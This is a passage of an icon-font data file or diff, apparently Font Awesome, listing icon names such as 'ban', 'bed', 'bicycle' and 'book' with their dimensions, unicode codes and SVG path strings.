174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 288l72-144 72 144H440zm-269.07-37.51c-17.65-35.29-68.19-35.36-85.87 0C-2.06 424.75.02 416.33.02 432H0c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-16.18 1.34-8.73-85.05-181.51zM56 416l72-144 72 144H56z"], + "balance-scale-right": [640, 512, [], "f516", "M96 464v32c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16V153.25c4.56-2 8.92-4.35 12.99-7.12l142.05 47.63c8.38 2.81 17.45-1.71 20.26-10.08l10.17-30.34c2.81-8.38-1.71-17.45-10.08-20.26l-128.4-43.05c.42-3.32 1.01-6.6 1.01-10.03 0-44.18-35.82-80-80-80-29.69 0-55.3 16.36-69.11 40.37L132.96.83c-8.38-2.81-17.45 1.71-20.26 10.08l-10.17 30.34c-2.81 8.38 1.71 17.45 10.08 20.26l132 44.26c7.28 21.25 22.96 38.54 43.38 47.47V448H112c-8.84 0-16 7.16-16 16zM0 304c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0C-1.32 295.27.02 287.82.02 304H0zm56-16l72-144 72 144H56zm328.02 144H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0-86.38 172.78-85.04 165.33-85.04 181.51zM440 416l72-144 72 144H440z"], + "ban": [512, 512, [], "f05e", "M256 8C119.034 8 8 119.033 8 256s111.034 248 248 248 248-111.034 248-248S392.967 8 256 8zm130.108 117.892c65.448 65.448 70 165.481 20.677 235.637L150.47 105.216c70.204-49.356 170.226-44.735 235.638 20.676zM125.892 386.108c-65.448-65.448-70-165.481-20.677-235.637L361.53 406.784c-70.203 49.356-170.226 44.736-235.638-20.676z"], + "band-aid": [640, 512, [], "f462", "M0 160v192c0 35.3 28.7 64 64 64h96V96H64c-35.3 0-64 28.7-64 64zm576-64h-96v320h96c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64zM192 416h256V96H192v320zm176-232c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24z"], + "barcode": [512, 512, [], "f02a", "M0 448V64h18v384H0zm26.857-.273V64H36v383.727h-9.143zm27.143 0V64h8.857v383.727H54zm44.857 0V64h8.857v383.727h-8.857zm36 0V64h17.714v383.727h-17.714zm44.857 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm35.715 0V64h18v383.727h-18zm44.857 0V64h18v383.727h-18zm35.999 0V64h18.001v383.727h-18.001zm36.001 0V64h18.001v383.727h-18.001zm26.857 0V64h18v383.727h-18zm45.143 0V64h26.857v383.727h-26.857zm35.714 0V64h9.143v383.727H476zm18 .273V64h18v384h-18z"], + "bars": [448, 512, [], "f0c9", "M16 132h416c8.837 0 16-7.163 16-16V76c0-8.837-7.163-16-16-16H16C7.163 60 0 67.163 0 76v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16z"], + "baseball-ball": [496, 512, [], "f433", "M368.5 363.9l28.8-13.9c11.1 22.9 26 43.2 44.1 60.9 34-42.5 54.5-96.3 54.5-154.9 0-58.5-20.4-112.2-54.2-154.6-17.8 17.3-32.6 37.1-43.6 59.5l-28.7-14.1c12.8-26 30-49 50.8-69C375.6 34.7 315 8 248 8 181.1 8 120.5 34.6 75.9 77.7c20.7 19.9 37.9 42.9 50.7 68.8l-28.7 14.1c-11-22.3-25.7-42.1-43.5-59.4C20.4 143.7 0 197.4 0 256c0 58.6 20.4 112.3 54.4 154.7 18.2-17.7 33.2-38 44.3-61l28.8 13.9c-12.9 26.7-30.3 50.3-51.5 70.7 44.5 43.1 105.1 69.7 172 69.7 66.8 0 127.3-26.5 171.9-69.5-21.1-20.4-38.5-43.9-51.4-70.6zm-228.3-32l-30.5-9.8c14.9-46.4 12.7-93.8-.6-134l30.4-10c15 45.6 18 99.9.7 153.8zm216.3-153.4l30.4 10c-13.2 40.1-15.5 87.5-.6 134l-30.5 9.8c-17.3-54-14.3-108.3.7-153.8z"], + "basketball-ball": [496, 512, [], "f434", "M212.3 10.3c-43.8 6.3-86.2 24.1-122.2 53.8l77.4 77.4c27.8-35.8 43.3-81.2 44.8-131.2zM248 222L405.9 64.1c-42.4-35-93.6-53.5-145.5-56.1-1.2 63.9-21.5 122.3-58.7 167.7L248 222zM56.1 98.1c-29.7 36-47.5 78.4-53.8 122.2 50-1.5 95.5-17 131.2-44.8L56.1 98.1zm272.2 204.2c45.3-37.1 103.7-57.4 167.7-58.7-2.6-51.9-21.1-103.1-56.1-145.5L282 256l46.3 46.3zM248 290L90.1 447.9c42.4 34.9 93.6 53.5 145.5 56.1 1.3-64 21.6-122.4 58.7-167.7L248 290zm191.9 123.9c29.7-36 47.5-78.4 53.8-122.2-50.1 1.6-95.5 17.1-131.2 44.8l77.4 77.4zM167.7 209.7C122.3 246.9 63.9 267.3 0 268.4c2.6 51.9 21.1 103.1 56.1 145.5L214 256l-46.3-46.3zm116 292c43.8-6.3 86.2-24.1 122.2-53.8l-77.4-77.4c-27.7 35.7-43.2 81.2-44.8 131.2z"], + "bath": [512, 512, [], "f2cd", "M32,384a95.4,95.4,0,0,0,32,71.09V496a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V480H384v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V455.09A95.4,95.4,0,0,0,480,384V336H32ZM496,256H80V69.25a21.26,21.26,0,0,1,36.28-15l19.27,19.26c-13.13,29.88-7.61,59.11,8.62,79.73l-.17.17A16,16,0,0,0,144,176l11.31,11.31a16,16,0,0,0,22.63,0L283.31,81.94a16,16,0,0,0,0-22.63L272,48a16,16,0,0,0-22.62,0l-.17.17c-20.62-16.23-49.83-21.75-79.73-8.62L150.22,20.28A69.25,69.25,0,0,0,32,69.25V256H16A16,16,0,0,0,0,272v16a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V272A16,16,0,0,0,496,256Z"], + "battery-empty": [640, 512, [], "f244", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48z"], + "battery-full": [640, 512, [], "f240", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-48 96H96v128h416V192z"], + "battery-half": [640, 512, [], "f242", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-240 96H96v128h224V192z"], + "battery-quarter": [640, 512, [], "f243", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-336 96H96v128h128V192z"], + "battery-three-quarters": [640, 512, [], "f241", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-144 96H96v128h320V192z"], + "bed": [640, 512, [], "f236", "M176 256c44.11 0 80-35.89 80-80s-35.89-80-80-80-80 35.89-80 80 35.89 80 80 80zm352-128H304c-8.84 0-16 7.16-16 16v144H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v352c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h512v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V240c0-61.86-50.14-112-112-112z"], + "beer": [448, 512, [], "f0fc", "M368 96h-48V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24v-42.11l80.606-35.977C429.396 365.063 448 336.388 448 304.86V176c0-44.112-35.888-80-80-80zm16 208.86a16.018 16.018 0 0 1-9.479 14.611L320 343.805V160h48c8.822 0 16 7.178 16 16v128.86zM208 384c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16zm-96 0c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16z"], + "bell": [448, 512, [], "f0f3", "M224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64zm215.39-149.71c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71z"], + "bell-slash": [640, 512, [], "f1f6", "M633.82 458.1l-90.62-70.05c.19-1.38.8-2.66.8-4.06.05-7.55-2.61-15.27-8.61-21.71-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-40.33 8.38-74.66 31.07-97.59 62.57L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.35 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.42-6.97 4.17-17.02-2.81-22.45zM157.23 251.54c-8.61 67.96-36.41 93.33-52.62 110.75-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h241.92L157.23 251.54zM320 512c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z"], + "bezier-curve": [640, 512, [], "f55b", "M368 32h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM208 88h-84.75C113.75 64.56 90.84 48 64 48 28.66 48 0 76.65 0 112s28.66 64 64 64c26.84 0 49.75-16.56 59.25-40h79.73c-55.37 32.52-95.86 87.32-109.54 152h49.4c11.3-41.61 36.77-77.21 71.04-101.56-3.7-8.08-5.88-16.99-5.88-26.44V88zm-48 232H64c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zM576 48c-26.84 0-49.75 16.56-59.25 40H432v72c0 9.45-2.19 18.36-5.88 26.44 34.27 24.35 59.74 59.95 71.04 101.56h49.4c-13.68-64.68-54.17-119.48-109.54-152h79.73c9.5 23.44 32.41 40 59.25 40 35.34 0 64-28.65 64-64s-28.66-64-64-64zm0 272h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z"], + "bible": [448, 512, [], "f647", "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM144 144c0-8.84 7.16-16 16-16h48V80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v48h48c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-48v112c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V192h-48c-8.84 0-16-7.16-16-16v-32zm236.8 304H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z"], + "bicycle": [640, 512, [], "f206", "M512.509 192.001c-16.373-.064-32.03 2.955-46.436 8.495l-77.68-125.153A24 24 0 0 0 368.001 64h-64c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h50.649l14.896 24H256.002v-16c0-8.837-7.163-16-16-16h-87.459c-13.441 0-24.777 10.999-24.536 24.437.232 13.044 10.876 23.563 23.995 23.563h48.726l-29.417 47.52c-13.433-4.83-27.904-7.483-42.992-7.52C58.094 191.83.412 249.012.002 319.236-.413 390.279 57.055 448 128.002 448c59.642 0 109.758-40.793 123.967-96h52.033a24 24 0 0 0 20.406-11.367L410.37 201.77l14.938 24.067c-25.455 23.448-41.385 57.081-41.307 94.437.145 68.833 57.899 127.051 126.729 127.719 70.606.685 128.181-55.803 129.255-125.996 1.086-70.941-56.526-129.72-127.476-129.996zM186.75 265.772c9.727 10.529 16.673 23.661 19.642 38.228h-43.306l23.664-38.228zM128.002 400c-44.112 0-80-35.888-80-80s35.888-80 80-80c5.869 0 11.586.653 17.099 1.859l-45.505 73.509C89.715 331.327 101.213 352 120.002 352h81.3c-12.37 28.225-40.562 48-73.3 48zm162.63-96h-35.624c-3.96-31.756-19.556-59.894-42.383-80.026L237.371 184h127.547l-74.286 120zm217.057 95.886c-41.036-2.165-74.049-35.692-75.627-76.755-.812-21.121 6.633-40.518 19.335-55.263l44.433 71.586c4.66 7.508 14.524 9.816 22.032 5.156l13.594-8.437c7.508-4.66 9.817-14.524 5.156-22.032l-44.468-71.643a79.901 79.901 0 0 1 19.858-2.497c44.112 0 80 35.888 80 80-.001 45.54-38.252 82.316-84.313 79.885z"], + "biking": [640, 512, [], "f84a", "M400 96a48 48 0 1 0-48-48 48 48 0 0 0 48 48zm-4 121a31.9 31.9 0 0 0 20 7h64a32 32 0 0 0 0-64h-52.78L356 103a31.94 31.94 0 0 0-40.81.68l-112 96a32 32 0 0 0 3.08 50.92L288 305.12V416a32 32 0 0 0 64 0V288a32 32 0 0 0-14.25-26.62l-41.36-27.57 58.25-49.92zm116 39a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64zM128 256a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64z"], + "binoculars": [512, 512, [], "f1e5", "M416 48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v48h96V48zM63.91 159.99C61.4 253.84 3.46 274.22 0 404v44c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V288h32V128H95.84c-17.63 0-31.45 14.37-31.93 31.99zm384.18 0c-.48-17.62-14.3-31.99-31.93-31.99H320v160h32v160c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-44c-3.46-129.78-61.4-150.16-63.91-244.01zM176 32h-64c-8.84 0-16 7.16-16 16v48h96V48c0-8.84-7.16-16-16-16zm48 256h64V128h-64v160z"], + "biohazard": [576, 512, [], "f780", "M287.9 112c18.6 0 36.2 3.8 52.8 9.6 13.3-10.3 23.6-24.3 29.5-40.7-25.2-10.9-53-17-82.2-17-29.1 0-56.9 6-82.1 16.9 5.9 16.4 16.2 30.4 29.5 40.7 16.5-5.7 34-9.5 52.5-9.5zM163.6 438.7c12-11.8 20.4-26.4 24.5-42.4-32.9-26.4-54.8-65.3-58.9-109.6-8.5-2.8-17.2-4.6-26.4-4.6-7.6 0-15.2 1-22.5 3.1 4.1 62.8 35.8 118 83.3 153.5zm224.2-42.6c4.1 16 12.5 30.7 24.5 42.5 47.4-35.5 79.1-90.7 83-153.5-7.2-2-14.7-3-22.2-3-9.2 0-18 1.9-26.6 4.7-4.1 44.2-26 82.9-58.7 109.3zm113.5-205c-17.6-10.4-36.3-16.6-55.3-19.9 6-17.7 10-36.4 10-56.2 0-41-14.5-80.8-41-112.2-2.5-3-6.6-3.7-10-1.8-3.3 1.9-4.8 6-3.6 9.7 4.5 13.8 6.6 26.3 6.6 38.5 0 67.8-53.8 122.9-120 122.9S168 117 168 49.2c0-12.1 2.2-24.7 6.6-38.5 1.2-3.7-.3-7.8-3.6-9.7-3.4-1.9-7.5-1.2-10 1.8C134.6 34.2 120 74 120 115c0 19.8 3.9 38.5 10 56.2-18.9 3.3-37.7 9.5-55.3 19.9-34.6 20.5-61 53.3-74.3 92.4-1.3 3.7.2 7.7 3.5 9.8 3.3 2 7.5 1.3 10-1.6 9.4-10.8 19-19.1 29.2-25.1 57.3-33.9 130.8-13.7 163.9 45 33.1 58.7 13.4 134-43.9 167.9-10.2 6.1-22 10.4-35.8 13.4-3.7.8-6.4 4.2-6.4 8.1.1 4 2.7 7.3 6.5 8 39.7 7.8 80.6.8 115.2-19.7 18-10.6 32.9-24.5 45.3-40.1 12.4 15.6 27.3 29.5 45.3 40.1 34.6 20.5 75.5 27.5 115.2 19.7 3.8-.7 6.4-4 6.5-8 0-3.9-2.6-7.3-6.4-8.1-13.9-2.9-25.6-7.3-35.8-13.4-57.3-33.9-77-109.2-43.9-167.9s106.6-78.9 163.9-45c10.2 6.1 19.8 14.3 29.2 25.1 2.5 2.9 6.7 3.6 10 1.6s4.8-6.1 3.5-9.8c-13.1-39.1-39.5-72-74.1-92.4zm-213.4 129c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"], + "birthday-cake": [448, 512, [], "f1fd", "M448 384c-28.02 0-31.26-32-74.5-32-43.43 0-46.825 32-74.75 32-27.695 0-31.454-32-74.75-32-42.842 0-47.218 32-74.5 32-28.148 0-31.202-32-74.75-32-43.547 0-46.653 32-74.75 32v-80c0-26.5 21.5-48 48-48h16V112h64v144h64V112h64v144h64V112h64v144h16c26.5 0 48 21.5 48 48v80zm0 128H0v-96c43.356 0 46.767-32 74.75-32 27.951 0 31.253 32 74.75 32 42.843 0 47.217-32 74.5-32 28.148 0 31.201 32 74.75 32 43.357 0 46.767-32 74.75-32 27.488 0 31.252 32 74.5 32v96zM96 96c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40z"], + "blender": [512, 512, [], "f517", "M416 384H160c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-128 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm40-416h166.54L512 0H48C21.49 0 0 21.49 0 48v160c0 26.51 21.49 48 48 48h103.27l8.73 96h256l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H328c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM64 192V64h69.82l11.64 128H64z"], + "blender-phone": [576, 512, [], "f6b6", "M392 64h166.54L576 0H192v352h288l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H392c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM158.8 335.01l-25.78-63.26c-2.78-6.81-9.8-10.99-17.24-10.26l-45.03 4.42c-17.28-46.94-17.65-99.78 0-147.72l45.03 4.42c7.43.73 14.46-3.46 17.24-10.26l25.78-63.26c3.02-7.39.2-15.85-6.68-20.07l-39.28-24.1C98.51-3.87 80.09-.5 68.95 11.97c-92.57 103.6-92 259.55 2.1 362.49 9.87 10.8 29.12 12.48 41.65 4.8l39.41-24.18c6.89-4.22 9.7-12.67 6.69-20.07zM480 384H192c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-144 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "blind": [384, 512, [], "f29d", "M380.15 510.837a8 8 0 0 1-10.989-2.687l-125.33-206.427a31.923 31.923 0 0 0 12.958-9.485l126.048 207.608a8 8 0 0 1-2.687 10.991zM142.803 314.338l-32.54 89.485 36.12 88.285c6.693 16.36 25.377 24.192 41.733 17.501 16.357-6.692 24.193-25.376 17.501-41.734l-62.814-153.537zM96 88c24.301 0 44-19.699 44-44S120.301 0 96 0 52 19.699 52 44s19.699 44 44 44zm154.837 169.128l-120-152c-4.733-5.995-11.75-9.108-18.837-9.112V96H80v.026c-7.146.003-14.217 3.161-18.944 9.24L0 183.766v95.694c0 13.455 11.011 24.791 24.464 24.536C37.505 303.748 48 293.1 48 280v-79.766l16-20.571v140.698L9.927 469.055c-6.04 16.609 2.528 34.969 19.138 41.009 16.602 6.039 34.968-2.524 41.009-19.138L136 309.638V202.441l-31.406-39.816a4 4 0 1 1 6.269-4.971l102.3 129.217c9.145 11.584 24.368 11.339 33.708 3.965 10.41-8.216 12.159-23.334 3.966-33.708z"], + "blog": [512, 512, [], "f781", "M172.2 226.8c-14.6-2.9-28.2 8.9-28.2 23.8V301c0 10.2 7.1 18.4 16.7 22 18.2 6.8 31.3 24.4 31.3 45 0 26.5-21.5 48-48 48s-48-21.5-48-48V120c0-13.3-10.7-24-24-24H24c-13.3 0-24 10.7-24 24v248c0 89.5 82.1 160.2 175 140.7 54.4-11.4 98.3-55.4 109.7-109.7 17.4-82.9-37-157.2-112.5-172.2zM209 0c-9.2-.5-17 6.8-17 16v31.6c0 8.5 6.6 15.5 15 15.9 129.4 7 233.4 112 240.9 241.5.5 8.4 7.5 15 15.9 15h32.1c9.2 0 16.5-7.8 16-17C503.4 139.8 372.2 8.6 209 0zm.3 96c-9.3-.7-17.3 6.7-17.3 16.1v32.1c0 8.4 6.5 15.3 14.8 15.9 76.8 6.3 138 68.2 144.9 145.2.8 8.3 7.6 14.7 15.9 14.7h32.2c9.3 0 16.8-8 16.1-17.3-8.4-110.1-96.5-198.2-206.6-206.7z"], + "bold": [384, 512, [], "f032", "M333.49 238a122 122 0 0 0 27-65.21C367.87 96.49 308 32 233.42 32H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h31.87v288H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h209.32c70.8 0 134.14-51.75 141-122.4 4.74-48.45-16.39-92.06-50.83-119.6zM145.66 112h87.76a48 48 0 0 1 0 96h-87.76zm87.76 288h-87.76V288h87.76a56 56 0 0 1 0 112z"], + "bolt": [320, 512, [], "f0e7", "M296 160H180.6l42.6-129.8C227.2 15 215.7 0 200 0H56C44 0 33.8 8.9 32.2 20.8l-32 240C-1.7 275.2 9.5 288 24 288h118.7L96.6 482.5c-3.6 15.2 8 29.5 23.3 29.5 8.4 0 16.4-4.4 20.8-12l176-304c9.3-15.9-2.2-36-20.7-36z"], + "bomb": [512, 512, [], "f1e2", "M440.5 88.5l-52 52L415 167c9.4 9.4 9.4 24.6 0 33.9l-17.4 17.4c11.8 26.1 18.4 55.1 18.4 85.6 0 114.9-93.1 208-208 208S0 418.9 0 304 93.1 96 208 96c30.5 0 59.5 6.6 85.6 18.4L311 97c9.4-9.4 24.6-9.4 33.9 0l26.5 26.5 52-52 17.1 17zM500 60h-24c-6.6 0-12 5.4-12 12s5.4 12 12 12h24c6.6 0 12-5.4 12-12s-5.4-12-12-12zM440 0c-6.6 0-12 5.4-12 12v24c0 6.6 5.4 12 12 12s12-5.4 12-12V12c0-6.6-5.4-12-12-12zm33.9 55l17-17c4.7-4.7 4.7-12.3 0-17-4.7-4.7-12.3-4.7-17 0l-17 17c-4.7 4.7-4.7 12.3 0 17 4.8 4.7 12.4 4.7 17 0zm-67.8 0c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17zm67.8 34c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17zM112 272c0-35.3 28.7-64 64-64 8.8 0 16-7.2 16-16s-7.2-16-16-16c-52.9 0-96 43.1-96 96 0 8.8 7.2 16 16 16s16-7.2 16-16z"], + "bone": [640, 512, [], "f5d7", "M598.88 244.56c25.2-12.6 41.12-38.36 41.12-66.53v-7.64C640 129.3 606.7 96 565.61 96c-32.02 0-60.44 20.49-70.57 50.86-7.68 23.03-11.6 45.14-38.11 45.14H183.06c-27.38 0-31.58-25.54-38.11-45.14C134.83 116.49 106.4 96 74.39 96 33.3 96 0 129.3 0 170.39v7.64c0 28.17 15.92 53.93 41.12 66.53 9.43 4.71 9.43 18.17 0 22.88C15.92 280.04 0 305.8 0 333.97v7.64C0 382.7 33.3 416 74.38 416c32.02 0 60.44-20.49 70.57-50.86 7.68-23.03 11.6-45.14 38.11-45.14h273.87c27.38 0 31.58 25.54 38.11 45.14C505.17 395.51 533.6 416 565.61 416c41.08 0 74.38-33.3 74.38-74.39v-7.64c0-28.18-15.92-53.93-41.12-66.53-9.42-4.71-9.42-18.17.01-22.88z"], + "bong": [448, 512, [], "f55c", "M302.5 512c23.18 0 44.43-12.58 56-32.66C374.69 451.26 384 418.75 384 384c0-36.12-10.08-69.81-27.44-98.62L400 241.94l9.38 9.38c6.25 6.25 16.38 6.25 22.63 0l11.3-11.32c6.25-6.25 6.25-16.38 0-22.63l-52.69-52.69c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l9.38 9.38-39.41 39.41c-11.56-11.37-24.53-21.33-38.65-29.51V63.74l15.97-.02c8.82-.01 15.97-7.16 15.98-15.98l.04-31.72C320 7.17 312.82-.01 303.97 0L80.03.26c-8.82.01-15.97 7.16-15.98 15.98l-.04 31.73c-.01 8.85 7.17 16.02 16.02 16.01L96 63.96v153.93C38.67 251.1 0 312.97 0 384c0 34.75 9.31 67.27 25.5 95.34C37.08 499.42 58.33 512 81.5 512h221zM120.06 259.43L144 245.56V63.91l96-.11v181.76l23.94 13.87c24.81 14.37 44.12 35.73 56.56 60.57h-257c12.45-24.84 31.75-46.2 56.56-60.57z"], + "book": [448, 512, [], "f02d", "M448 360V24c0-13.3-10.7-24-24-24H96C43 0 0 43 0 96v320c0 53 43 96 96 96h328c13.3 0 24-10.7 24-24v-16c0-7.5-3.5-14.3-8.9-18.7-4.2-15.4-4.2-59.3 0-74.7 5.4-4.3 8.9-11.1 8.9-18.6zM128 134c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm0 64c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm253.4 250H96c-17.7 0-32-14.3-32-32 0-17.6 14.4-32 32-32h285.4c-1.9 17.1-1.9 46.9 0 64z"], + "book-dead": [448, 512, [], "f6b7", "M272 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm176 222.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM240 56c44.2 0 80 28.7 80 64 0 20.9-12.7 39.2-32 50.9V184c0 8.8-7.2 16-16 16h-64c-8.8 0-16-7.2-16-16v-13.1c-19.3-11.7-32-30-32-50.9 0-35.3 35.8-64 80-64zM124.8 223.3l6.3-14.7c1.7-4.1 6.4-5.9 10.5-4.2l98.3 42.1 98.4-42.1c4.1-1.7 8.8.1 10.5 4.2l6.3 14.7c1.7 4.1-.1 8.8-4.2 10.5L280.6 264l70.3 30.1c4.1 1.7 5.9 6.4 4.2 10.5l-6.3 14.7c-1.7 4.1-6.4 5.9-10.5 4.2L240 281.4l-98.3 42.2c-4.1 1.7-8.8-.1-10.5-4.2l-6.3-14.7c-1.7-4.1.1-8.8 4.2-10.5l70.4-30.1-70.5-30.3c-4.1-1.7-5.9-6.4-4.2-10.5zm256 224.7H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8zM208 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16z"], + "book-medical": [448, 512, [], "f7e6", "M448 